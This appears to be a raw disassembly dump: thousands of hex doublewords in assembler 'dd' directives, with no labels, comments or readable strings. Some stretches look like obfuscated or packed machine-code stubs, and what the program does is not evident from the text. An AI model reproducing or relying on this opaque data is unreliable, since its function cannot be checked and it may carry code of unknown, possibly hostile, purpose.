		dd 1A14685Ch, 3C890000h, 0E0895024h, 405h, 4E88300h, 5C240487h
		dd 51240489h, 0AD1F9BB9h, 0B5BE5611h, 81098470h, 7436A0F6h
		dd 5EF1312Eh, 0EF7BF181h, 0CF893070h, 48B5459h,	4C48324h
		dd 4EC81h, 3C890000h, 8408F24h,	582434FFh, 0FF04C483h
		dd 815F2434h, 4C4h, 8300E900h, 0B83FFFBh, 0B30DF4D3h, 2DC16AB8h
		dd 0FFC50306h, 827318E0h, 1402830Ah, 0D312F06Ch, 5A3AA18h
		dd 8846B17Fh, 2374D816h, 602FEE5Ah, 0E13D7E60h,	4B5BA813h
		dd 1D2E35Eh, 87E8EA79h,	828E3918h, 0E88ECA74h, 0ACF4A34Eh
		dd 7E753719h, 28463839h, 48678663h, 2F0D0625h, 0CE0D8612h
		dd 723F3476h, 0A8792C35h, 1A744910h, 1F66122Ah,	9E851h
		dd 80CA0000h, 95D3DA3Fh, 5A35CD9Ch, 6DB8C281h, 0A7B70000h
		dd 0F8F51AB9h, 0DBE98105h, 0FC05F8D9h, 0E96032FFh, 11h
		dd 121F9CFFh, 0AA7D8B0h, 95F6B21Bh, 0CFBC3BA1h,	0D38166FEh
		dd 5F616D5Dh, 0FCD5F781h, 0F536E9Bh, 283h, 58DA8B00h, 0DC44EF81h
		dd 81F86F19h, 0B51693C7h, 0DA8B6678h, 0C68B3A89h, 86DAEA81h
		dd 0DF8B1017h, 86D6C281h, 0F511017h, 8358C2B7h,	850F01E9h
		dd 27h,	14E8h, 557E6500h, 0F1518871h, 0CC99D13Eh, 0BE3F0482h
		dd 22BD6166h, 0D98B66F0h, 20E958h, 37840000h, 60973563h
		dd 0E961E68Ah, 0FFFFFF70h, 518213DFh, 0F64D264Bh, 0D682B6FEh
		dd 1ED6DEEAh, 37E9373Dh, 5E000000h, 41EE92h, 57000000h
		dd 434AC51Ch, 0F9366148h, 88A7A5ADh, 0FB75528Ch, 9CBE00B7h
		dd 7EE5ADF9h, 9D8993h, 921DF4C7h, 0DE196063h, 2	dup(0)
		dd 0B5E90000h, 6800000Ah, 62DC477h, 0FABC80E9h,	0C5BF68FFh
		dd 76E9062Dh, 68FFFABCh, 62DC6AEh, 0FABC6CE9h, 0C77768FFh
		dd 62E9062Dh, 68FFFABCh, 62DC813h, 0FABC58E9h, 0C92168FFh
		dd 4EE9062Dh, 68FFFABCh, 62DC9A0h, 0FABC44E9h, 0CB2468FFh
		dd 3AE9062Dh, 68FFFABCh, 62DCC6Ah, 0FABC30E9h, 6D6334FFh
		dd 201EECF0h, 0D1D39FA3h, 887E5054h, 3C3A070Bh,	1FEEBCBFh
		dd 0D3D75452h, 898D0A04h, 3B3FBCBEh, 0CEF4716Bh, 5000D83Eh
		dd 6134795Eh, 421F4ECh,	0D0353298h, 95577521h, 0D8A3C929h
		dd 9C6C42D6h, 341236A2h, 24E26E40h, 898DAE42h, 0FA9ABFB9h
		dd 2C92FE27h, 730C8616h, 1214E06Eh, 339F05EDh, 0AF433D0Dh
		dd 4B193F9Fh, 8A3BE147h, 7B3D7328h, 7408F015h, 3C08CE9Eh
		dd 0FD2D153Ah, 0F7BCA78Ch, 773D944h, 7F1315E1h,	908A5A5Eh
		dd 3133FE24h, 8EB95FC5h, 0F9BB7328h, 29FC9C65h,	4F747240h
		dd 35950167h, 288E09CFh, 0FD692B73h, 288E4197h,	9D31F373h
		dd 0AE80278Dh, 30F27900h, 0DF6B09C2h, 631AF5AAh, 8E0h
		dd 25A29869h, 0D8555321h, 890608D4h, 40BDB385h,	0F4716F3Ch
		dd 8754A5F1h, 39080C89h, 0F3BEC23Fh, 0A07074F1h, 730329A6h
		dd 5E57CF0Dh, 21966979h, 0F11610E0h, 7736D3Dh, 939B41A7h
		dd 0DB9D7F73h, 93D3096Fh, 0A3657F73h, 2BFEEE0Fh, 2D389E0Ah
		dd 4F755B92h, 0FD218Dh,	80D03887h, 0FA3D1ADEh, 1D6ABCAh
		dd 90B6A46Dh, 182EC2C4h, 795B07C4h, 43C079BFh, 0C159BF36h
		dd 3180h, 80A6AD00h, 6022B6B0h,	96FC688Dh, 755BBE07h, 564A6F31h
		dd 795B8682h, 4C716F3Ch, 0A9CEC898h, 0D18B44E2h, 0E4611A60h
		dd 0C1594495h, 0E121h, 10E04E00h, 0A63DA4Ch, 0F60F3F3Dh
		dd 9E0A70B6h, 92BEE07Ah, 9A2E804Eh, 52501DD1h, 0F4F2C0E6h
		dd 8A53E7CFh, 0E70C06D6h, 429F6333h, 15187AF4h,	0FC228EF4h
		dd 250D322Ch, 0BFFEA9F5h, 41D5D9F1h, 0EABCE220h, 0BFB7132Ah
		dd 0E74CD12h, 17AD647Ah, 7D4D7F73h, 32020683h, 0A0731338h
		dd 86ECEAB7h, 0C11B41Ah, 0A9CF755Bh, 0F04CE0DAh, 0EEC1B12Eh
		dd 9FF359C5h, 0F57375B0h, 0D4A1C733h, 0A40A6AD6h, 7320D074h
		dd 89AA3E00h, 1EEEB885h, 0B117FF24h, 0F15E043h,	0DA916CB4h
		dd 798h, 0DD5A5021h, 900D0BD9h,	41BEC08Ch, 0F8756B3Dh
		dd 0AC2927F4h, 3F0CFDA9h, 0F1C0C441h, 0AB767AF7h, 58282CA9h
		dd 2BBBE15Eh, 5E5617C5h, 0D94E2179h, 981513E0h,	4494FA5Ah
		dd 767F7393h, 31F3ABA9h, 0FDF7C79Dh, 21F41780h,	0AB329804h
		dd 0CD755BBEh, 0AC799F0Bh, 5D511AAEh, 795B86BBh, 8805BE04h
		dd 0C15943F1h, 0C6C5h, 10E0F200h, 703DF116h, 15E00672h
		dd 7206EE13h, 8F7EB5A9h, 0CE9E7F73h, 835357D4h,	16766489h
		dd 739768B0h, 0B64A0C7Fh, 693821F4h, 0FC624A6Fh, 94872A90h
		dd 2145755Bh, 40171B69h, 46A236E0h, 1FC0187Eh, 0B274795Bh
		dd 6B91CF4Ch, 927A9F9Dh, 4C693CFEh, 0BA2080E0h,	795B1F62h
		dd 0AAC05416h, 7375BDBBh, 698FFBBDh, 0EA32989Ch, 147320BDh
		dd 3B234846h, 0DE5BC183h, 0A10F0DDAh, 0B40F7834h, 0A92EE5C0h
		dd 32000006h, 0EAEE6B61h, 9DA11E1Ch, 4E52CFD1h,	509867Ch
		dd 0BABD3A38h, 52501DECh, 802D1D5h, 0BABC878Bh,	6F69393Dh
		dd 0D63CCCF2h, 795E5506h, 0E0EA5F32h, 94981513h, 293F00C4h
		dd 0FDB7F94Fh, 0E0B11A97h, 72AA1010h, 67F7393h,	5B9DE44h
		dd 7ABE3B35h, 7F7393A6h, 1884A174h, 0F8C692B8h,	0A3C82E28h
		dd 1E1127BBh, 407521D0h, 8CB2127Eh, 0EC52BEC0h,	795E572Ch
		dd 1CF28648h, 36E64C4Ch, 42795E57h, 8AAE1A80h, 14CEFF94h
		dd 0DBFC909Fh, 1863799Dh, 0B212D01Dh, 7E78481Eh, 0F3E6B959h
		dd 0E9B8B7AAh, 0B2E2CAEFh, 0EE547258h, 0C68E5C82h, 40AC7E1Eh
		dd 26BA209Eh, 78A9B016h, 9CB7376h, 0A5D0C9Bh, 1ED5B0B4h
		dd 5E0h, 25A29869h, 0D8555321h,	890608D4h, 40BDB385h, 0F4716F3Ch
		dd 8754A5F1h, 39080C89h, 0F3BEC23Fh, 0A07074F1h, 730329A6h
		dd 5E54CF0Dh, 21966979h, 974C10E0h, 0BAB94F79h,	413B0B3Dh
		dd 68C8B6DBh, 7341DA02h, 1C12E47Fh, 380EA264h, 82496E68h
		dd 0D5A52BE4h, 16635EDBh, 0A0BB3201h, 7, 184DDCDh, 0A0E40000h
		dd 7F73937Ch, 329EC79Ah, 21D0EECCh, 0D8440675h,	6BE8E2B2h
		dd 789D9767h, 74E005D8h, 0EF83814Eh, 476279DFh,	0D2947376h
		dd 984FF64h, 0DD946FB4h, 544h, 8906FCCDh, 3CB9B785h, 0ED6A6C38h
		dd 0A42117E9h, 58D5D3A0h, 0EBB80955h, 9D6C70EDh, 572226A3h
		dd 4D4D855h, 0D7678D0Ah, 5E5BAB71h, 85FACD79h, 0F11610E0h
		dd 4E736D3Dh, 0AA30E987h, 1474E0DAh, 73936EAEh,	0C6C0907Fh
		dd 97B84C0Eh, 312FDD9Ch, 0EF55B5BBh, 7F739F29h,	500802D1h
		dd 1A0EFA8Eh, 3B000000h, 0E9B380A6h, 10F81D1Bh,	0DB3D16AAh
		dd 6F000000h, 0A9AA7B4Bh, 5EF28478h, 421F423h, 0D0353298h
		dd 95577521h, 39330329h, 0C37FA9CDh, 0F0807A11h, 67373B5Ch
		dd 3E0DCFA1h, 0D1371F44h, 8058BEACh, 0B4795E6Fh, 8D5A8CF2h
		dd 6404298Fh, 6C49AA91h, 462AB859h, 0E6187E74h,	4CB81E14h
		dd 0C88CCE6h, 70507473h, 23AE7E1Fh, 0A6A874A6h,	88F4B612h
		dd 1B989262h, 0E14D4717h, 83C15D81h, 0F15C1577h, 288B597Fh
		dd 8519DB73h, 0D9A8CEBCh, 0A0D2BADFh, 7C3ED2D4h, 0BA208CA9h
		dd 7900AB13h, 0DA55C385h, 56AADF61h, 436C47Bh, 0EEBF0000h
		dd 0A9777BF8h, 5E2A2EABh, 9DBDF5Ch, 0C5929613h,	1B474AC7h
		dd 62DFDDAAh, 18958F5Eh, 0CA474914h, 7FFCF6C6h,	0B563C959h
		dd 0BF795E5Ah, 0C3DD77ECh, 0F000000h, 939349AFh, 0E3A57F73h
		dd 21F4144Fh, 35329804h, 577521D0h, 33032995h, 0E8B8BC39h
		dd 5629C9EEh, 475BC12Dh, 9D730C14h, 79496FDBh, 2EFE027Fh
		dd 9C6F0F34h, 6A50B77h,	70790034h, 0F0CF40AEh, 5C37AADFh
		dd 3B7A5h, 796F4000h, 2C2AF8FCh, 0DDDFABAFh, 948A5C60h
		dd 48461317h, 2B9AC8CBh, 0DFE3605Eh, 95991610h,	474BC8CAh
		dd 0DA007D77h, 5A34E44Ah, 6D40795Eh, 1610E0F8h,	736D3DF1h
		dd 30E9874Eh, 4214DAAAh, 6E69E64Ch, 0BB312F0Bh,	2DABh
		dd 21F4D800h, 5D749804h, 6A6B098Fh, 0E54B5BEFh,	755B669Dh
		dd 83A915D7h, 0F438B5B7h, 795BE221h, 920F09D9h,	9BC0C28Eh
		dd 33FE4h, 15E0EB00h, 177D7747h, 0A86E3EF2h, 0FD7AE0D6h
		dd 0B06529F9h, 5559681Dh, 0A6B563C9h, 0FDBF7F73h, 99976597h
		dd 0C0200E33h, 73A6825Ah, 60F4B67Fh, 9DF6BA8Ah,	7AFCD0Fh
		dd 6050CD33h, 96FC688Dh, 755BF78Bh, 0D2C6EBADh,	795BF50Eh
		dd 0BA7A3379h, 0A2C7C994h, 205926BAh, 96C15991h, 31h, 421F4C3h
		dd 72D83898h, 7F7393AAh, 75DC0CCEh, 0DEA6816Ah,	63FA10A4h
		dd 95755B28h, 66BAAED3h, 61795B39h, 94E5621Bh, 22C159D9h
		dd 0CEh, 82A64Fh, 0C3A792FCh, 4B1BF185h, 0AB782C51h, 4D488ADh
		dd 6131E50Ah, 6FA6EA67h, 8F7F732Eh, 4448C5BFh, 67557A74h
		dd 0E2767441h, 0BC284D20h, 5B003756h, 4FD56175h, 6F72E96Dh
		dd 0AACFD19Ch, 79F65CC2h, 6187B689h, 8B739892h,	5B6EC319h
		dd 0BD5BC179h, 0B7795B6Eh, 0DDAF3DF5h, 74DAC2E7h, 0DD3CA20Eh
		dd 0D77375D0h, 0B683A915h, 6A373BB8h, 0F507FE6Ch, 10EBB40Fh
		dd 23359h, 0F5EBBC00h, 0A8A67478h, 595B272Bh, 1006D8DCh
		dd 0C4C28F93h, 0A7164447h, 5B5FDCDAh, 1115928Ch, 0C3C74446h
		dd 567CF9F3h
		dd 58B860C6h, 0E9BC795Eh, 1513E074h, 0FEC49498h, 32003230h
		dd 0C1270F34h, 0DA253155h, 4A7EBABBh, 0D751F5C1h, 0D96DD3DDh
		dd 21F44FB8h, 0AB329804h, 0CD755BBEh, 2EF2E60Bh, 99795B86h
		dd 5C1D9A53h, 36C15944h, 0B2A870D6h, 0ACC795Bh,	10F8A76h
		dd 0E0B70000h, 3DF11610h, 0C4BA870h, 0C8034683h, 0D5AFA998h
		dd 0DC423AC0h, 0D6A3C9B7h, 37CBB3D8h, 73D7E221h, 403A0A7Fh
		dd 0BF2585C3h, 7F73CF19h, 3E29591Bh, 9C87526Fh,	2BFBD165h
		dd 3CE9865h, 8EF4DC01h,	5B1CBC22h, 56187F73h, 0B7DDCBF0h
		dd 9355E9EBh, 92FED9C0h, 6B2F1132h, 0A3739905h,	0A50515A9h
		dd 49133781h, 59ED1AEDh, 5BD22443h, 0ED769A75h,	0AEB07B6Bh
		dd 0F1D797Eh, 0AFDF453Fh, 1CDD30CFh, 662F6CDh, 0E4B4D844h
		dd 0A7EA120Ah, 9D8DAE42h, 0D73DA9CAh, 7375E4A3h, 0C8FF91Dh
		dd 4CC64EA1h, 2E9A5CB8h, 0DDDBA8CEh, 4ADEE0ABh,	2CA9A774h
		dd 0FEF8C8EEh, 6B80BFCEh, 39CDE651h, 2A989663h,	0B40FCAC1h
		dd 0ED7B320Dh, 76000000h, 2E32AFA5h, 0E1E56260h, 92961315h
		dd 494DCAC0h, 0FE017E7Ch, 96946150h, 4C461519h,	0FE00CBCFh
		dd 0B3AD7D81h, 1A801036h, 795E5FC2h, 0E02EA376h, 94981513h
		dd 3A5ECAC4h, 469EE064h, 89AA3E03h, 0B480A620h,	11A58DB2h
		dd 0D8A56B3Bh, 20453F0Eh, 47A2D238h, 55D17BA2h,	0B4A2C72Dh
		dd 16BA8890h, 4CF885C2h, 0EF7CACC9h, 531F514Bh,	17E7BD51h
		dd 0EB51B11Dh, 7F73C22Dh, 0D0F18547h, 7CE80DE0h, 21813416h
		dd 799E6075h, 469F678Bh, 96731CADh, 5C5C2C02h, 496E6436h
		dd 0B929EF61h, 0BD4B795Dh, 248AF0F2h, 0D9D3A3A7h, 5DFEC0B4h
		dd 0E65EB298h, 0DDD7A72Dh, 46FE2260h, 44B8F4C4h, 0FECEA438h
		dd 0CBF1DF04h, 9369FDFFh, 0DAA6CBC1h, 37078D46h, 0ECBCC03Dh
		dd 0B9DFCDF2h, 7F58ECEEh, 0Ch, 0AE82A686h, 6D1EE421h, 0F23F6E02h
		dd 0F4190FE0h, 51767040h, 0ABD0D29Dh, 92E28F7h,	658A8855h
		dd 0C1E6E4B1h, 20453B0Dh, 799EA06Ch, 0D4F9F7C5h, 0E28952FFh
		dd 4C281h, 0EA810000h, 4, 5C241487h, 56241489h,	0C681E689h
		dd 4, 8704EE83h, 895C2434h, 1568240Ch, 89000007h, 0AC682404h
		dd 8B062DC3h, 0C481240Ch, 4, 24048B54h,	6804C483h, 468Fh
		dd 81240C89h, 34632434h, 408F3B97h, 8708108h, 3B973463h
		dd 582434FFh, 4C481h, 0C8B0000h, 0E2895224h, 4C281h, 0C2810000h
		dd 4, 5C241487h, 0FAB1DCE9h, 145695FFh,	104B1BC9h, 2DCD7CB8h
		dd 0FFC50306h, 0B0F81FE0h, 396A055h, 8302956h, 8D4E5A7Bh
		dd 20E9EE3Bh, 152B6809h, 0D9A9D86Bh, 0FCAE6F56h, 0B777511Ch
		dd 0F4028E4Bh, 0F8715207h, 6FE1173h, 439E5203h,	0CF658A1Fh
		dd 0E0801776h, 0A2BBA535h, 0B9070F25h, 4E7D7B29h, 0B830FA47h
		dd 834CAB45h, 64F0AA70h, 0D90DFA3Bh, 8EC32406h,	829FBA11h
		dd 0AA1865Bh, 0F77B7074h, 0F10C8510h, 30E95Fh, 59460000h
		dd 79CBh, 0Ah dup(0)
		dd 6CE90000h, 2A000005h, 0E2E66359h, 95991614h,	464AC7C9h
		dd 0FD017E74h, 0B2B53230h, 4A4815E4h, 0FAC9CDh,	0B2B47F83h
		dd 67613135h, 0CE34C4EAh, 795E5D0Eh, 0E90D572Ah, 288006D0h
		dd 518C2032h, 0F11610E0h, 0F572703Dh, 22721F1h,	5F847E4Eh
		dd 0BADFDDABh, 13383A06h, 6D92945Fh, 0AC6C2589h, 73939646h
		dd 7AE0A27Fh, 6BF1AA22h, 2024A19Bh, 0D2D65355h,	2CE00507h
		dd 0D1F7635Dh, 0A7700406h, 88E47DBh, 0D1E0713Dh, 0C1866790h
		dd 0ADADE5Bh, 24F7EB10h, 0DC7F739Fh, 37EB100Eh,	0D4D6A268h
		dd 0F76F496Eh, 0C0187E3Eh, 747F739Fh, 2A364CB2h, 0E425B606h
		dd 33C76049h, 7CFD7A33h, 16BB3169h, 865624F0h, 197F678Ch
		dd 779985h, 0CBF10000h,	0F6DE03F9h, 10E02762h, 0D9FDF116h
		dd 0E17F7393h, 3DF11614h, 6A4F746Eh, 7F954F08h,	2C4DCA83h
		dd 8ABB312Fh, 0Ah, 3FC8BEE2h, 9F6BBD02h, 12E0D00Bh, 6D3BEF14h
		dd 0C4964A6Fh, 9C0262CEh, 7F73937Ch, 64CA36F8h,	7F7393B4h
		dd 0A16AFEC0h, 10964FC7h, 89C74442h, 2969863h, 0C8965C2Ch
		dd 1FF1A5CAh, 0B61C0429h, 1E84E450h, 7F7393FEh,	324B87Ah
		dd 1513E09Ah, 6A6E3CF0h, 7393D404h, 389E607Fh, 0F5AE4C13h
		dd 27A4A26Fh, 0F7F5C3E9h, 8056EAD2h, 0DD91B6B0h, 0F7EA0F11h
		dd 1238F8B1h, 0A3A17C44h, 54BB5ED5h, 4DE1C9EEh,	320E0980h
		dd 8DADBBh, 0E0DA0000h,	7F794913h, 0E70C725Ah, 40656733h
		dd 0AF35EE66h, 2967E4E2h, 93B563C9h, 0B1477F73h, 38B06BC4h
		dd 20B4762Eh, 5A7F7D4Ah, 0B9DED4A6h, 7C780C6h, 0EE1315E1h
		dd 0A706A3Ah, 8FE0A976h, 64D6BB31h, 3000000h, 0A91513E0h
		dd 9335E349h, 7D3F7F73h, 0A16C20E9h, 0A00608D3h, 24967Bh
		dd 9F6E97DEh, 752375A5h, 9E65B319h, 4D0F7F73h, 0C7157BE7h
		dd 717F739Eh, 621B1BAFh, 0B3AD7CA2h, 8B76A68Eh,	23499FA6h
		dd 16E3B94Dh, 0E0329B18h, 7E784812h, 0E60B7159h, 73932FF2h
		dd 3EF7F37Fh, 312FB8C1h, 1FEBBh, 0E02B0000h, 80A61214h
		dd 5922B6B0h, 0B373456Bh, 1918128Ch, 0E4096F36h, 0C29268FCh
		dd 43D7A3C8h, 3638048Ah, 0CDF6C9B9h, 0B1D0FB61h, 9052755Bh
		dd 0EDE7B76Bh, 60E3270h, 0C5C79241h, 788B8A0h, 0C8CA95CFh
		dd 28F8CE62h, 0C115092Eh, 0C8795B55h, 5727AD66h, 2DFDBF91h
		dd 0C0260E33h, 4FEDE99Bh, 80081E23h, 3337B41Ah,	0D5CB9D63h
		dd 40DF036Fh, 2EAECC34h, 21D59E32h, 0FC488D51h,	0FB1EBE24h
		dd 581A795Bh, 65610328h, 7513DAFFh, 6C6636BCh, 0EB51B1EFh
		dd 795B872Dh, 0ECEEB947h, 0E579DFC7h, 59436118h, 18655C1h
		dd 89AD0000h, 0E5B4C2AAh, 0C6C9BBEBh, 0F4F631C5h, 32980421h
		dd 755B5E9Fh, 2C1A3F01h, 0A4703606h, 2F957DA2h,	0B88E220Ah
		dd 6D71EEE8h, 1337A39Dh, 0ADAECFF6h, 0AED43D43h, 4B667EAEh
		dd 93814ADEh, 10A49E6Dh, 4B706A3Ah, 0A72DE684h,	7CFD13D7h
		dd 89002DB7h, 0EE93B723h, 5C1B86E1h, 494465F9h,	0C1596530h
		dd 5986h, 1FF4B300h, 0C8309602h, 0ACFF7393h, 0EA50521Eh
		dd 1177D7C5h, 0FF7393CBh, 117AB6Dh, 0FF7393DBh,	24964FB3h
		dd 9B99664Fh, 9313C92Fh, 6325FF73h, 0D3191FDh, 0CE347524h
		dd 81EB2BEh, 7F7358F0h,	0E05DF884h, 23CE4711h, 0D13940BDh
		dd 6B000000h, 0E0AE7845h, 6F577CE2h, 21F4A0DBh,	0EF329804h
		dd 91755BB4h, 10353703h, 3256C228h, 0D53389Fh, 5FDD2794h
		dd 3D1F89B9h, 0EA9E67FBh, 8987541Ah, 0AA167C64h, 95BAB484h
		dd 0F4F819ADh, 98BE2A24h, 0B7A5CACCh, 5BC68B51h, 85EBAD79h
		dd 0FF3428F1h, 0EA795BC7h, 7949CF88h, 81EF137Fh, 0CECC99F9h
		dd 0AC52A89Eh, 3407F718h, 1D43A30Fh, 452D5250h,	8DF89BB1h
		dd 0A2C67309h, 0DD1D4A65h, 0C521B570h, 90F0DE03h, 2590F22Ah
		dd 30C48673h, 248A8A5Ah, 732590F4h, 3358BE80h, 0A81AD367h
		dd 2044B0D5h, 0B4849EF8h, 7DAD95BAh, 0B8E59E53h, 6DCD5084h
		dd 2131C52Bh, 0CED09BC1h, 172DC1A9h, 7977EA44h,	4E501C42h
		dd 51AD4129h, 0D0F5F7C3h, 9C0582E8h, 980421F4h,	13A7A572h
		dd 0C5FA9D03h, 0BA7C7521h, 1711E195h, 0CCC6969Ah, 0C884B3A7h
		dd 0D64EFAB4h, 1C7971Dh, 55D23832h, 1B878151h, 0C88755BBh
		dd 0EFB1F967h, 0CDE925Bh, 9125F116h, 0D4F418D8h, 0D34E622Eh
		dd 94643ACEh, 49191D9Ah, 1D83E34Fh, 0F9672AFFh,	5A23B779h
		dd 12A3h, 80A6AA00h, 221CECAEh,	8AAF15FDh, 0A6A070A2h
		dd 0E096E312h, 40F4190Fh, 9D517670h, 0F7ABD0D2h, 55092E28h
		dd 0B1658A88h, 0DC1E6E4h, 6C20453Bh, 0C5799EA0h, 0FFD4F9F7h
		dd 4EC81h, 34890000h, 81E68924h, 4C6h, 4EE8300h, 5C243487h
		dd 79AC68h, 24348900h, 4EC81h, 2C890000h, 6DBA5224h, 0BE546B5Eh
		dd 47D75EF8h, 8105EEC1h, 40337AF6h, 6AEE8118h, 29BFE55Ch
		dd 0EC815AD6h, 4, 83242489h, 5D042404h,	50F28952h, 8B8h
		dd 89E80100h, 0FF5A5810h, 835D2434h, 348B04C4h,	0E0895024h
		dd 405h, 4C08300h, 5C240487h, 0FAABBCE9h, 0B8CB87FFh, 62DD39Fh
		dd 0E0FFC503h, 782BECC0h, 379F3E47h, 3978E749h,	7BAFDFABh
		dd 546BC993h, 37CBEEFCh, 99663CEh, 6E58C6Fh, 68695177h
		dd 3096F3CDh, 6636EE6Eh, 1AF7E82Bh, 72DE12C8h, 644A63F2h
		dd 0AE8h, 993D2000h, 390BD120h,	66EBB6C9h, 805BD78Bh, 0C3819FE8h
		dd 5B7Bh, 11E9h, 11E9200h, 0CB42BA28h, 0EF90E48Eh, 53CF4716h
		dd 0BFAAEBh, 50000000h,	58C28B66h, 591F34FFh, 81F7BF0Fh
		dd 3E22B4E9h, 1504B85Ah, 0E9816DC8h, 5FD273A6h,	81C68B66h
		dd 37D16F1h, 21B85146h,	8F314320h, 4EB23B04h, 81D0BF0Fh
		dd 50695EEFh, 5860F4Fh,	66000000h, 0BBBDD081h, 695AC781h
		dd 8B0F4F50h, 1, 34FF81FCh, 0FFFFFA5h, 1185h, 1EE900h
		dd 0C49F0000h, 0E86E384Fh, 805F722Bh, 8B666ABAh, 0FF8EE9F3h
		dd 0DBD6FFFFh, 57ADA74h, 8CDD9FB6h, 0D5F48D8Dh,	6A062Dh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 8B0F30C3h, 1, 158D89FCh, 0BF062807h,	7933D852h, 102D8D89h
		dd 85C70628h, 62821BDh,	6104h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 0C9C35747h,	8837F381h, 11540D27h
		dd 26E18D29h, 85C70628h, 628113Dh, 0
		dd 9E8h, 4DC57900h, 0F9AAC813h,	9D312E5Ch, 62804CDh, 19B5FF5Ah
		dd 0F062818h, 28Eh, 193B300h, 2801D595h, 0D995FF06h, 6A062814h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0E0B1C352h, 96A7E4F3h, 91AB31Dh, 281A4DB5h
		dd 6AF506h, 46595FFh, 0C08B0628h, 921F28EBh, 3AE0E2FFh
		dd 4777191Ch, 9367AF16h, 0DBD0BFF8h, 0CCA76ABEh, 77DA2B70h
		dd 0EDF8014Eh, 0AC70F745h, 1E462994h, 20E95BEDh, 55000000h
		dd 9C03F0BDh, 77E733h, 5 dup(0)
		dd 0E9000000h, 0CF5h, 2DD7D368h, 0A987E906h, 268FFFAh
		dd 0E9062DD9h, 0FFFAA97Dh, 2DDAA668h, 0A973E906h, 0F768FFFAh
		dd 0E9062DDBh, 0FFFAA969h, 2DDD4D68h, 0A95FE906h, 9468FFFAh
		dd 0E9062DDFh, 0FFFAA955h, 2DE13A68h, 0A94BE906h, 0FB68FFFAh
		dd 0E9062DE1h, 0FFFAA941h, 17E7445h, 0B4312FFDh, 65E2E4B0h
		dd 1C998F61h, 0D04D4B18h, 633081CDh, 15E4E865h,	0CF9A9E1Bh
		dd 7C4C50CDh, 4FDF0582h, 5E4533E9h, 0FD724579h,	0AA1610E0h
		dd 9334E44Ah, 7E407F73h, 9D6D21EAh, 0D6CF2AD9h,	0E742490h
		dd 522F5391h, 0ED298A1Dh, 0DAAD6F03h, 0FCE74DB9h, 4A755B1Dh
		dd 32575924h, 985AB64Ah, 35D7F73h, 0E026795Bh, 0BBCFAA27h
		dd 42E7C159h, 14000000h, 983A21F4h, 3BEB2A18h, 0DD8755BBh
		dd 0EFB17F73h, 51B72389h, 755BF0CAh, 4A401238h,	4DA93D25h
		dd 0AE72668Bh, 19795BF0h, 345A1AD3h, 8E426769h,	0B8A0C5BFh
		dd 88F1BE52h, 2EC15992h, 0C7h, 0B982A65Bh, 4F6BC914h, 3505DB6Fh
		dd 9562163Bh, 98FE00CBh, 0F5EFBF73h, 0EFBCE2D0h, 50E4CCF1h
		dd 33B0AA7Ah, 402CFF5h,	0ADB75A70h, 0D5357F73h,	73BBA96Fh
		dd 7509CB7Fh, 69D5CF9Fh, 0E77B7143h, 2CF2C2C6h,	0D8FD635Dh
		dd 0D4406538h, 5BB8DB6Eh, 0FE7B3D75h, 824E3B0Eh, 7735B80h
		dd 5BB87BA1h, 0D53BFD79h, 56F0369h, 43057375h, 0E6E4B1D7h
		dd 9A986569h, 0E95662Ch, 0D48B66B4h, 0AD1h, 0C9463C0Dh
		dd 7CF9F7C5h, 2DAAAC78h, 0E4615729h, 981513E0h,	2BF8C995h
		dd 0DDACB02Dh, 976266E3h, 44141895h, 17A7CD4Ah,	5E446BB1h
		dd 0C53A0D79h, 981513E0h, 6CA8365Ah, 0CF5BCD42h, 9B95653Bh
		dd 0EEBAE01Eh, 0A61D58ECh, 20B4B280h, 0FE6A8B5Eh, 780C0AD8h
		dd 0BE9B0268h, 0DB9D755Bh, 0D5A2C8B6h, 36CAB2D7h, 5B86FC20h
		dd 1171C779h, 5B866DABh, 0B1450779h, 0FE7BF8B1h, 0B8C15943h
		dd 111h, 4A10E0E5h, 0A65A7F7Dh,	4274DAD8h, 6A527775h, 5E2BDF04h
		dd 0A4473B60h, 5C7F738Eh, 0F6268C8Ch, 827F7396h, 0D9DD5AC0h
		dd 76784309h, 12787644h, 3CD282A6h, 1B063D80h, 0BB49A9EBh
		dd 4CE021DEh, 0F310E383h, 0FA032787h, 0DFA68A8Eh, 49DCF286h
		dd 0AB755B3Bh, 2A4F511Dh, 6F5FDC42h, 804B719Ch,	3ECC0C7Eh
		dd 0A668795Bh, 4E74D440h, 883CB880h, 2870C472h,	21B59DC2h
		dd 7523040Bh, 0F05C1E73h, 26F22A90h, 6CD27321h,	732126ACh
		dd 8C4E06C8h, 0F5C2E8F8h, 0C52B8BF7h, 73212617h, 0AACB5F21h
		dd 6DDBD9A6h, 0B40EF0D3h, 0A20BC29Dh, 0DE000009h, 969A170Dh
		dd 494DCAC8h, 0FAFE7B7Dh, 0B1B53228h, 6669E6E4h, 0FEFCC938h
		dd 0B4AE7D81h, 66683337h, 1B15E5E9h, 82E8789Eh,	795E4A5Ah
		dd 0E0960BDEh, 73A90F13h, 57F7393h, 5C60DD43h, 0C626928Ch
		dd 7393B860h, 7AA2087Fh, 0FE7F7393h, 2EC2843Ch,	0DDA9CF0Dh
		dd 2146400Fh, 0FAAED339h, 32C62C2Eh, 1610E0F7h,	0EDB984AAh
		dd 0A85C70h, 0CDF258B4h, 0D48851E5h, 9D8D0A04h,	0F0BDDCAh
		dd 734473A9h, 0DD43057Fh, 0B464CAB8h, 0C07F7344h, 0C63298FEh
		dd 5B784960h, 0C4E9AB75h, 5B680DD0h, 0E7E9B579h, 42400EC2h
		dd 1CD5391Dh, 0F2ABF162h, 5A260475h, 651B2C1h, 0A6DF0000h
		dd 9338E046h, 743C7F73h, 7393CE0Eh, 42A86A7Fh, 0FC19ECAEh
		dd 80A72A90h, 17D9755Bh, 9D6687ABh, 0A397A1F6h,	8E52460Fh
		dd 38795B96h, 93476C6Ah, 1A70FFC3h, 0BCB9C41Ch,	0D1653156h
		dd 0A7ED5E18h, 0B0871EEh, 2A8AC15Ah, 5B7B14C4h,	0CA5E2079h
		dd 5FADEh, 21F40B00h, 3D6F6938h, 6850756Bh, 99309602h
		dd 0FB755BB0h, 3BA19F6Dh, 0B0FE2216h, 83C9795Bh, 4E2C4DCAh
		dd 0D08AC159h, 0B7000005h, 390C84E5h, 63887E50h, 0BFE4E2AFh
		dd 9F0B71D7h, 5B860239h, 0C19CC075h, 342AF519h,	56187408h
		dd 9F59A4CAh, 4167F560h, 68507573h, 163F12D4h, 0C5A544AAh
